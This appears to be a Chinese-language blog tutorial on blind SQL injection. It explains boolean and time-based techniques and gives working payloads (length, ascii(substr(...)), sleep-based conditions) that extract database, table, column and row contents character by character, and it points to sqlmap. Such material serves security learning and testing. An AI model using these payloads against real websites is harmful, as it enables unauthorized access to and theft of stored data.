盲注簡介
所謂的盲注就是在服務器沒有錯誤回顯的時候完成的注入攻擊,
服務器沒有錯誤回顯,對于攻擊者來說缺少了非常重要的“除錯資訊”,
盲注分類
1.布爾盲注
布爾很明顯Ture和Fales,也就是說它只會根據你的注入資訊回傳True和Fales,也就沒有了之前的報錯資訊,
2.時間盲注
界面回傳值只有一種,True,無論輸入和值,回傳情況都會按正常的來處理,加入特定的時間函式,通過查看web頁面回傳的時間差來判斷注入的陳述句是否正確,
盲注需要掌握的函式
length() 函式 回傳字串的長度
substr() 截取字串 (語法:SUBSTR(str,pos,len);)
ascii() 回傳字符的ascii碼 [將字符變為數字wei]
sleep() 將程式掛起一段時間n為n秒
if(expr1,expr2,expr3) 判斷陳述句 如果第一個陳述句正確就執行第二個陳述句如果錯誤執行第三個陳述句
注入步驟
1.猜解資料庫名稱長度
id=1'and(length(database()))>n
2.猜解數庫名稱
and (ascii(substr(database(),1,1)))=115--+ 回傳正常,說明資料庫名稱第一位是s
3.猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+ 回傳正常,說明資料庫表名的第一個的第一位是e
4.猜欄位名
and (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=102--+ 回傳正常,說明zkaq表中的列名稱第一位是f
5.猜資料
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122--+回傳正常,說明zKaQ列第一位是z
利用工具
sqlmap工具
下載地址:https://github.com/sqlmapproject/sqlmap
下載好后直接解壓,并且加入環境變數,就可以直接在cmd呼叫
也可用kali自帶的sqlmap
延時注入方法
and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
該陳述句表示,如果正確則10s后再加載頁面
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/55241.html
標籤:其他
上一篇:SQL注入:顯錯注入
下一篇:Sqlmap基礎指令
